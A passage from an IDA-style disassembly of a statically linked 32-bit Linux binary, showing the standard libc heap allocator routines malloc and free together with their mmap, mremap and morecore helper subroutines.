		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B914	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	0
		push	offset sub_805B048
		push	eax
		call	sub_805B914
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	dword ptr [eax+20h], 0
		push	0
		push	offset sub_805B144
		push	eax
		call	sub_805B914
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805BA88	proc near		; CODE XREF: malloc+446p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, 4
		mov	edx, 0FFFh
		mov	eax, dword_8078F80
		cmp	dword_8078F44, eax
		jbe	short loc_805BAC6
		add	ebx, esi
		add	ebx, edx
		mov	eax, edx
		not	eax
		and	ebx, eax
		push	0
		push	0FFFFFFFFh
		push	22h
		push	3
		push	ebx
		push	0
		call	mmap
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_805BACC

loc_805BAC6:				; CODE XREF: sub_805BA88+1Dj
		xor	eax, eax
		jmp	short loc_805BB28
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BACC:				; CODE XREF: sub_805BA88+3Cj
		inc	dword_8078F80
		mov	edx, dword_8078F80
		cmp	dword_8078F84, edx
		jnb	short loc_805BAE6
		mov	dword_8078F84, edx

loc_805BAE6:				; CODE XREF: sub_805BA88+56j
		lea	edx, [esi+eax]
		mov	[edx-4], esi
		mov	eax, ebx
		sub	eax, esi
		or	al, 2
		mov	[edx], eax
		mov	eax, ebx
		add	eax, dword_8078F88
		mov	dword_8078F88, eax
		cmp	dword_8078F8C, eax
		jnb	short loc_805BB0E
		mov	dword_8078F8C, eax

loc_805BB0E:				; CODE XREF: sub_805BA88+7Fj
		mov	eax, dword_8078F88
		add	eax, dword_8078F58
		cmp	dword_8078F54, eax
		jnb	short loc_805BB26
		mov	dword_8078F54, eax

loc_805BB26:				; CODE XREF: sub_805BA88+97j
		mov	eax, edx

loc_805BB28:				; CODE XREF: sub_805BA88+40j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_805BA88	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805BB34	proc near		; CODE XREF: free+1Fp .text:0805C5AAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax-4]
		mov	ebx, [eax]
		and	bl, 0FCh
		add	ebx, edx
		push	ebx
		sub	eax, edx
		push	eax
		call	__libc_munmap
		dec	dword_8078F80
		sub	dword_8078F88, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805BB34	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805BB64	proc near		; CODE XREF: .text:0805C558p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	esi, [edx-4]
		mov	edi, [edx]
		and	edi, 0FFFFFFFCh
		mov	ebx, [ebp+arg_4]
		add	ebx, esi
		add	ebx, 0FFFh
		and	ebx, 0FFFFF000h
		push	1
		push	ebx
		lea	eax, [esi+edi]
		push	eax
		mov	eax, edx
		sub	eax, esi
		push	eax
		call	__libc_mremap
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_805BBA0
		xor	eax, eax
		jmp	short loc_805BBE8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BBA0:				; CODE XREF: sub_805BB64+36j
		lea	edx, [esi+eax]
		mov	eax, ebx
		sub	eax, esi
		or	al, 2
		mov	[edx], eax
		lea	eax, [esi+edi]
		sub	dword_8078F88, eax
		mov	eax, ebx
		add	eax, dword_8078F88
		mov	dword_8078F88, eax
		cmp	dword_8078F8C, eax
		jnb	short loc_805BBCE
		mov	dword_8078F8C, eax

loc_805BBCE:				; CODE XREF: sub_805BB64+63j
		mov	eax, dword_8078F88
		add	eax, dword_8078F58
		cmp	dword_8078F54, eax
		jnb	short loc_805BBE6
		mov	dword_8078F54, eax

loc_805BBE6:				; CODE XREF: sub_805BB64+7Bj
		mov	eax, edx

loc_805BBE8:				; CODE XREF: sub_805BB64+3Aj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805BB64	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805BBF4	proc near		; CODE XREF: malloc+45Cp

var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	edx, dword_8078B38
		mov	[ebp+var_4], edx
		mov	ecx, [edx]
		and	cl, 0FCh
		mov	[ebp+var_8], ecx
		mov	ebx, edx
		add	ebx, ecx
		mov	esi, [ebp+arg_0]
		add	esi, dword_8078F40
		add	esi, 10h
		cmp	dword_8078F4C, 0FFFFFFFFh
		jz	short loc_805BC33
		add	esi, 0FFFh
		and	esi, 0FFFFF000h

loc_805BC33:				; CODE XREF: sub_805BBF4+31j
		push	esi
		mov	eax, dword_8078B30
		call	eax ; __default_morecore_init
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	loc_805BD69
		cmp	edi, ebx
		jnb	short loc_805BC59
		cmp	[ebp+var_4], offset dword_8078B34
		jnz	loc_805BD69

loc_805BC59:				; CODE XREF: sub_805BBF4+56j
		add	dword_8078F58, esi
		cmp	edi, ebx
		jnz	short loc_805BC78
		add	esi, [ebp+var_8]
		mov	eax, dword_8078B38
		or	esi, 1
		mov	[eax], esi
		jmp	loc_805BD3F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BC78:				; CODE XREF: sub_805BBF4+6Dj
		cmp	dword_8078F4C, 0FFFFFFFFh
		jnz	short loc_805BC8C
		mov	dword_8078F4C, edi
		jmp	short loc_805BC96
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BC8C:				; CODE XREF: sub_805BBF4+8Bj
		mov	eax, edi
		sub	eax, ebx
		add	dword_8078F58, eax

loc_805BC96:				; CODE XREF: sub_805BBF4+93j
		lea	eax, [edi+4]
		and	eax, 7
		jz	short loc_805BCAC
		mov	ebx, 8
		sub	ebx, eax
		add	edi, ebx
		jmp	short loc_805BCAE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BCAC:				; CODE XREF: sub_805BBF4+A8j
		xor	ebx, ebx

loc_805BCAE:				; CODE XREF: sub_805BBF4+B3j
		lea	eax, [esi+edi]
		mov	edx, 1000h
		dec	edx
		and	eax, edx
		mov	ecx, 1000h
		sub	ecx, eax
		mov	eax, ecx
		add	ebx, eax
		push	ebx
		mov	eax, dword_8078B30
		call	eax ; __default_morecore_init
		add	esp, 4
		test	eax, eax
		jz	loc_805BD69
		add	dword_8078F58, ebx
		mov	dword_8078B38, edi
		mov	esi, eax
		sub	esi, edi
		add	esi, ebx
		or	esi, 1
		mov	[edi], esi
		cmp	[ebp+var_4], offset dword_8078B34
		jz	short loc_805BD3F
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+edx-8], 5
		mov	dword ptr [ecx+edx-4], 5
		add	edx, 0FFFFFFF8h
		and	edx, 7
		mov	[ebp+var_8], edx
		mov	dword ptr [edx+ecx], 5
		mov	dword ptr [ecx+edx+4], 5
		mov	eax, [ecx]
		and	eax, 1
		or	eax, edx
		mov	[ecx], eax
		cmp	edx, 0Fh
		jbe	short loc_805BD3F
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	free

loc_805BD3F:				; CODE XREF: sub_805BBF4+7Cj
					; sub_805BBF4+101j ...
		mov	eax, dword_8078F58
		cmp	dword_8078F50, eax
		jnb	short loc_805BD51
		mov	dword_8078F50, eax

loc_805BD51:				; CODE XREF: sub_805BBF4+156j
		mov	eax, dword_8078F88
		add	eax, dword_8078F58
		cmp	dword_8078F54, eax
		jnb	short loc_805BD69
		mov	dword_8078F54, eax

loc_805BD69:				; CODE XREF: sub_805BBF4+4Ej
					; sub_805BBF4+5Fj ...
		lea	esp, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805BBF4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

malloc		proc near		; CODE XREF: send_packet_sig3+2Cp
					; setenv+85p ...

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, 0Bh
		jle	short loc_805BD94
		add	eax, 0Bh
		mov	[ebp+var_C], eax
		and	[ebp+var_C], 0FFFFFFF8h
		jmp	short loc_805BD9B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BD94:				; CODE XREF: malloc+Fj
		mov	[ebp+var_C], 10h

loc_805BD9B:				; CODE XREF: malloc+1Bj
		cmp	[ebp+var_C], 1F7h
		ja	short loc_805BE00
		mov	ecx, [ebp+var_C]
		shr	ecx, 3
		mov	[ebp+var_4], ecx
		mov	ebx, dword_8078B3C[ecx*8]
		lea	eax, ds:8078B34h[ecx*8]
		cmp	ebx, eax
		jnz	short loc_805BDD1
		mov	ebx, dword_8078B44[ecx*8]
		lea	eax, ds:8078B3Ch[ecx*8]
		cmp	ebx, eax
		jz	short loc_805BDF4

loc_805BDD1:				; CODE XREF: malloc+49j
		mov	edi, [ebx]
		and	edi, 0FFFFFFFCh
		mov	[ebp+var_14], edi
		mov	esi, [ebx+8]
		mov	ecx, [ebx+4]
		mov	[ebp+var_10], ecx
		mov	[ecx+8], esi
		mov	[esi+4], ecx
		or	byte ptr [edi+ebx], 1
		jmp	loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BDF4:				; CODE XREF: malloc+5Bj
		add	[ebp+var_4], 2
		jmp	loc_805BEE5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BE00:				; CODE XREF: malloc+2Ej
		mov	eax, [ebp+var_C]
		shr	eax, 9
		jnz	short loc_805BE18
		mov	edi, [ebp+var_C]
		shr	edi, 3
		mov	[ebp+var_4], edi
		jmp	loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BE18:				; CODE XREF: malloc+92j
		mov	eax, [ebp+var_C]
		shr	eax, 9
		cmp	eax, 4
		ja	short loc_805BE34
		mov	ecx, [ebp+var_C]
		shr	ecx, 6
		add	ecx, 38h
		mov	[ebp+var_4], ecx
		jmp	short loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BE34:				; CODE XREF: malloc+ADj
		mov	eax, [ebp+var_C]
		shr	eax, 9
		cmp	eax, 14h
		ja	short loc_805BE48
		add	eax, 5Bh
		mov	[ebp+var_4], eax
		jmp	short loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BE48:				; CODE XREF: malloc+C9j
		mov	eax, [ebp+var_C]
		shr	eax, 9
		cmp	eax, 54h
		ja	short loc_805BE64
		mov	edi, [ebp+var_C]
		shr	edi, 0Ch
		add	edi, 6Eh
		mov	[ebp+var_4], edi
		jmp	short loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BE64:				; CODE XREF: malloc+DDj
		mov	eax, [ebp+var_C]
		shr	eax, 9
		cmp	eax, 154h
		ja	short loc_805BE80
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		add	ecx, 77h
		mov	[ebp+var_4], ecx
		jmp	short loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BE80:				; CODE XREF: malloc+FBj
		mov	eax, [ebp+var_C]
		shr	eax, 9
		cmp	eax, 554h
		ja	short loc_805BEA4
		mov	edi, [ebp+var_C]
		shr	edi, 12h
		add	edi, 7Ch
		mov	[ebp+var_4], edi
		jmp	short loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BE9C:				; CODE XREF: malloc+15Cj
		dec	[ebp+var_4]
		jmp	short loc_805BEE2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BEA4:				; CODE XREF: malloc+117j
		mov	[ebp+var_4], 7Eh

loc_805BEAB:				; CODE XREF: malloc+9Dj malloc+BBj ...
		mov	ecx, [ebp+var_4]
		lea	ecx, ds:8078B34h[ecx*8]
		mov	[ebp+var_8], ecx
		mov	ebx, [ecx+8]
		cmp	ebx, ecx
		jz	short loc_805BEE2
		nop

loc_805BEC0:				; CODE XREF: malloc+16Cj
		mov	edi, [ebx]
		and	edi, 0FFFFFFFCh
		mov	[ebp+var_14], edi
		mov	edx, edi
		sub	edx, [ebp+var_C]
		cmp	edx, 0Fh
		jg	short loc_805BE9C
		test	edx, edx
		jge	loc_805C1F0
		mov	ebx, [ebx+8]
		cmp	[ebp+var_8], ebx
		jnz	short loc_805BEC0

loc_805BEE2:				; CODE XREF: malloc+12Bj malloc+149j
		inc	[ebp+var_4]

loc_805BEE5:				; CODE XREF: malloc+84j
		mov	ebx, dword_8078B40
		cmp	ebx, offset dword_8078B3C
		jz	loc_805C087
		mov	ecx, [ebx]
		and	cl, 0FCh
		mov	[ebp+var_14], ecx
		mov	edx, ecx
		sub	edx, [ebp+var_C]
		cmp	edx, 0Fh
		jle	short loc_805BF40
		mov	eax, [ebp+var_C]
		add	eax, ebx
		mov	edi, [ebp+var_C]
		or	edi, 1
		mov	[ebx], edi
		mov	dword_8078B44, eax
		mov	dword_8078B40, eax
		mov	dword ptr [eax+8], offset dword_8078B3C
		mov	dword ptr [eax+4], offset dword_8078B3C
		mov	ecx, edx
		or	cl, 1
		mov	[eax], ecx
		mov	[edx+eax-4], edx
		jmp	loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BF40:				; CODE XREF: malloc+193j
		mov	dword_8078B44, offset dword_8078B3C
		mov	dword_8078B40, offset dword_8078B3C
		test	edx, edx
		jl	short loc_805BF64
		mov	edi, [ebp+var_14]
		or	byte ptr [edi+ebx], 1
		jmp	loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BF64:				; CODE XREF: malloc+1E2j
		cmp	[ebp+var_14], 1FFh
		ja	short loc_805BFAC
		mov	edx, [ebp+var_14]
		shr	edx, 3
		mov	eax, edx
		jns	short loc_805BF7A
		lea	eax, [edx+3]

loc_805BF7A:				; CODE XREF: malloc+201j
		sar	eax, 2
		mov	edi, 1
		mov	ecx, eax
		shl	edi, cl
		mov	eax, edi
		or	dword_8078B34, eax
		lea	esi, ds:8078B34h[edx*8]
		mov	ecx, [esi+4]
		mov	[ebp+var_10], ecx
		mov	[ebx+8], esi
		mov	[ebx+4], ecx
		mov	[esi+4], ebx
		mov	[ecx+8], ebx
		jmp	loc_805C087
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BFAC:				; CODE XREF: malloc+1F7j
		mov	eax, [ebp+var_14]
		shr	eax, 9
		jnz	short loc_805BFBC
		mov	edx, [ebp+var_14]
		shr	edx, 3
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BFBC:				; CODE XREF: malloc+23Ej
		mov	eax, [ebp+var_14]
		shr	eax, 9
		cmp	eax, 4
		ja	short loc_805BFD4
		mov	edx, [ebp+var_14]
		shr	edx, 6
		add	edx, 38h
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BFD4:				; CODE XREF: malloc+251j
		mov	eax, [ebp+var_14]
		shr	eax, 9
		cmp	eax, 14h
		ja	short loc_805BFE4
		lea	edx, [eax+5Bh]
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BFE4:				; CODE XREF: malloc+269j
		mov	eax, [ebp+var_14]
		shr	eax, 9
		cmp	eax, 54h
		ja	short loc_805BFFC
		mov	edx, [ebp+var_14]
		shr	edx, 0Ch
		add	edx, 6Eh
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BFFC:				; CODE XREF: malloc+279j
		mov	eax, [ebp+var_14]
		shr	eax, 9
		cmp	eax, 154h
		ja	short loc_805C014
		mov	edx, [ebp+var_14]
		shr	edx, 0Fh
		add	edx, 77h
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C014:				; CODE XREF: malloc+293j
		mov	eax, [ebp+var_14]
		shr	eax, 9
		cmp	eax, 554h
		ja	short loc_805C02C
		mov	edx, [ebp+var_14]
		shr	edx, 12h
		add	edx, 7Ch
		jmp	short loc_805C031
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C02C:				; CODE XREF: malloc+2ABj
		mov	edx, 7Eh

loc_805C031:				; CODE XREF: malloc+246j malloc+25Cj ...
		lea	esi, ds:8078B34h[edx*8]
		mov	edi, [esi+4]
		mov	[ebp+var_10], edi
		cmp	edi, esi
		jnz	short loc_805C05C
		mov	eax, edx
		sar	eax, 2
		mov	edi, 1
		mov	ecx, eax
		shl	edi, cl
		mov	eax, edi
		or	dword_8078B34, eax
		jmp	short loc_805C078
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C05C:				; CODE XREF: malloc+2CCj malloc+2FCj
		mov	ecx, [ebp+var_10]
		mov	eax, [ecx]
		and	al, 0FCh
		cmp	[ebp+var_14], eax
		jnb	short loc_805C072
		mov	edi, [ecx+4]
		mov	[ebp+var_10], edi
		cmp	edi, esi
		jnz	short loc_805C05C

loc_805C072:				; CODE XREF: malloc+2F2j
		mov	ecx, [ebp+var_10]
		mov	esi, [ecx+8]

loc_805C078:				; CODE XREF: malloc+2E4j
		mov	[ebx+8], esi
		mov	edi, [ebp+var_10]
		mov	[ebx+4], edi
		mov	[esi+4], ebx
		mov	[edi+8], ebx

loc_805C087:				; CODE XREF: malloc+17Dj malloc+233j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jge	short loc_805C091
		add	eax, 3

loc_805C091:				; CODE XREF: malloc+318j
		sar	eax, 2
		mov	edi, 1
		mov	ecx, eax
		shl	edi, cl
		mov	[ebp+var_10], edi
		cmp	dword_8078B34, edi
		jb	loc_805C198
		test	dword_8078B34, edi
		jnz	short loc_805C0E0
		and	[ebp+var_4], 0FFFFFFFCh
		add	[ebp+var_4], 4
		add	edi, edi
		mov	[ebp+var_10], edi
		test	dword_8078B34, edi
		jnz	short loc_805C0E0
		lea	esi, [esi+0]

loc_805C0CC:				; CODE XREF: malloc+369j
		add	[ebp+var_4], 4
		shl	[ebp+var_10], 1
		mov	ecx, [ebp+var_10]
		test	dword_8078B34, ecx
		jz	short loc_805C0CC
		nop

loc_805C0E0:				; CODE XREF: malloc+33Ej malloc+353j ...
		mov	esi, [ebp+var_4]
		lea	eax, ds:0[esi*8]
		lea	esi, [esi]

loc_805C0EC:				; CODE XREF: malloc+3C1j
		lea	edi, dword_8078B34[eax]
		mov	[ebp+var_8], edi
		mov	ebx, dword_8078B3C[eax]
		cmp	ebx, edi
		jz	short loc_805C126
		nop

loc_805C100:				; CODE XREF: malloc+3B0j
		mov	ecx, [ebx]
		and	cl, 0FCh
		mov	[ebp+var_14], ecx
		mov	edx, ecx
		sub	edx, [ebp+var_C]
		cmp	edx, 0Fh
		jg	loc_805C208
		test	edx, edx
		jge	loc_805C24C
		mov	ebx, [ebx+8]
		cmp	[ebp+var_8], ebx
		jnz	short loc_805C100

loc_805C126:				; CODE XREF: malloc+389j
		add	eax, 8
		inc	[ebp+var_4]
		mov	edi, [ebp+var_4]
		test	edi, 3
		jnz	short loc_805C0EC
		jmp	short loc_805C14D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C13C:				; CODE XREF: malloc+3DFj
		dec	esi
		lea	eax, ds:8078B34h[esi*8]
		cmp	dword_8078B38[esi*8], eax
		jnz	short loc_805C160

loc_805C14D:				; CODE XREF: malloc+3C3j
		test	esi, 3
		jnz	short loc_805C13C
		mov	eax, [ebp+var_10]
		not	eax
		and	dword_8078B34, eax

loc_805C160:				; CODE XREF: malloc+3D7j
		shl	[ebp+var_10], 1
		mov	ecx, [ebp+var_10]
		cmp	dword_8078B34, ecx
		jb	short loc_805C198
		test	ecx, ecx
		jz	short loc_805C198
		test	dword_8078B34, ecx
		jnz	loc_805C0E0
		nop

loc_805C180:				; CODE XREF: malloc+41Dj
		add	[ebp+var_4], 4
		shl	[ebp+var_10], 1
		mov	edi, [ebp+var_10]
		test	dword_8078B34, edi
		jz	short loc_805C180
		jmp	loc_805C0E0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C198:				; CODE XREF: malloc+332j malloc+3F9j ...
		mov	eax, dword_8078B38
		mov	edx, [eax]
		and	dl, 0FCh
		sub	edx, [ebp+var_C]
		cmp	edx, 0Fh
		jg	loc_805C264
		mov	ecx, [ebp+var_C]
		cmp	dword_8078F48, ecx
		ja	short loc_805C1CC
		push	ecx
		call	sub_805BA88
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	loc_805C281

loc_805C1CC:				; CODE XREF: malloc+443j
		mov	edi, [ebp+var_C]
		push	edi
		call	sub_805BBF4
		mov	eax, dword_8078B38
		mov	edx, [eax]
		and	dl, 0FCh
		sub	edx, edi
		cmp	edx, 0Fh
		jg	short loc_805C264
		xor	eax, eax
		jmp	loc_805C284
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C1F0:				; CODE XREF: malloc+160j
		mov	esi, [ebx+8]
		mov	ecx, [ebx+4]
		mov	[ebp+var_10], ecx
		mov	[ecx+8], esi
		mov	[esi+4], ecx
		mov	edi, [ebp+var_14]
		or	byte ptr [edi+ebx], 1
		jmp	short loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C208:				; CODE XREF: malloc+39Cj
		mov	eax, [ebp+var_C]
		add	eax, ebx
		mov	ecx, [ebp+var_C]
		or	cl, 1
		mov	[ebx], ecx
		mov	esi, [ebx+8]
		mov	edi, [ebx+4]
		mov	[ebp+var_10], edi
		mov	[edi+8], esi
		mov	[esi+4], edi
		mov	dword_8078B44, eax
		mov	dword_8078B40, eax
		mov	dword ptr [eax+8], offset dword_8078B3C
		mov	dword ptr [eax+4], offset dword_8078B3C
		mov	ecx, edx
		or	cl, 1
		mov	[eax], ecx
		mov	[edx+eax-4], edx
		jmp	short loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C24C:				; CODE XREF: malloc+3A4j
		mov	edi, [ebp+var_14]
		or	byte ptr [edi+ebx], 1
		mov	esi, [ebx+8]
		mov	ecx, [ebx+4]
		mov	[ebp+var_10], ecx
		mov	[ecx+8], esi
		mov	[esi+4], ecx
		jmp	short loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C264:				; CODE XREF: malloc+434j malloc+470j
		mov	ebx, dword_8078B38
		mov	edi, [ebp+var_C]
		or	edi, 1
		mov	[ebx], edi
		mov	eax, [ebp+var_C]
		add	eax, ebx
		mov	dword_8078B38, eax
		or	dl, 1
		mov	[eax], edx

loc_805C281:				; CODE XREF: malloc+78j malloc+1C5j ...
		lea	eax, [ebx+4]

loc_805C284:				; CODE XREF: malloc+474j
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
malloc		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

free		proc near		; CODE XREF: send_packet_sig3+17Bp
					; send_packet_sig3+18Ep ...

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	loc_805C4ED
		lea	edi, [eax-4]
		mov	eax, [eax-4]
		test	al, 2
		jz	short loc_805C2BC
		push	edi
		call	sub_805BB34
		jmp	loc_805C4ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C2BC:				; CODE XREF: free+1Cj
		mov	esi, eax
		and	esi, 0FFFFFFFEh
		lea	ecx, [esi+edi]
		mov	[ebp+var_C], ecx
		mov	ebx, [ecx]
		and	bl, 0FCh
		mov	[ebp+var_4], ebx
		cmp	dword_8078B38, ecx
		jnz	short loc_805C31C
		add	esi, ebx
		test	al, 1
		jnz	short loc_805C2F3
		mov	eax, [edi-4]
		sub	edi, eax
		add	esi, eax
		mov	ecx, [edi+8]
		mov	[ebp+var_10], ecx
		mov	edx, [edi+4]
		mov	[edx+8], ecx
		mov	[ecx+4], edx

loc_805C2F3:				; CODE XREF: free+4Bj
		mov	ebx, esi
		or	bl, 1
		mov	[edi], ebx
		mov	dword_8078B38, edi
		cmp	dword_8078F3C, esi
		ja	loc_805C4ED
		mov	eax, dword_8078F40
		push	eax
		call	sub_805C944
		jmp	loc_805C4ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C31C:				; CODE XREF: free+45j
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+var_C]
		mov	[ebx], ecx
		mov	[ebp+var_8], 0
		test	al, 1
		jnz	short loc_805C357
		mov	eax, [edi-4]
		sub	edi, eax
		add	esi, eax
		cmp	dword ptr [edi+4], offset dword_8078B3C
		jnz	short loc_805C348
		mov	[ebp+var_8], 1
		jmp	short loc_805C357
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C348:				; CODE XREF: free+ADj
		mov	ecx, [edi+8]
		mov	[ebp+var_10], ecx
		mov	edx, [edi+4]
		mov	[edx+8], ecx
		mov	[ecx+4], edx

loc_805C357:				; CODE XREF: free+9Dj free+B6j
		mov	ebx, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		test	byte ptr [ecx+ebx], 1
		jnz	short loc_805C3AD
		add	esi, ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_805C398
		cmp	dword ptr [ebx+4], offset dword_8078B3C
		jnz	short loc_805C398
		mov	[ebp+var_8], 1
		mov	dword_8078B44, edi
		mov	dword_8078B40, edi
		mov	dword ptr [edi+8], offset dword_8078B3C
		mov	dword ptr [edi+4], offset dword_8078B3C
		jmp	short loc_805C3AD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C398:				; CODE XREF: free+D9j free+E2j
		mov	ebx, [ebp+var_C]
		mov	ebx, [ebx+8]
		mov	[ebp+var_10], ebx
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		mov	[edx+8], ebx
		mov	[ebx+4], edx

loc_805C3AD:				; CODE XREF: free+D1j free+105j
		mov	ebx, esi
		or	bl, 1
		mov	[edi], ebx
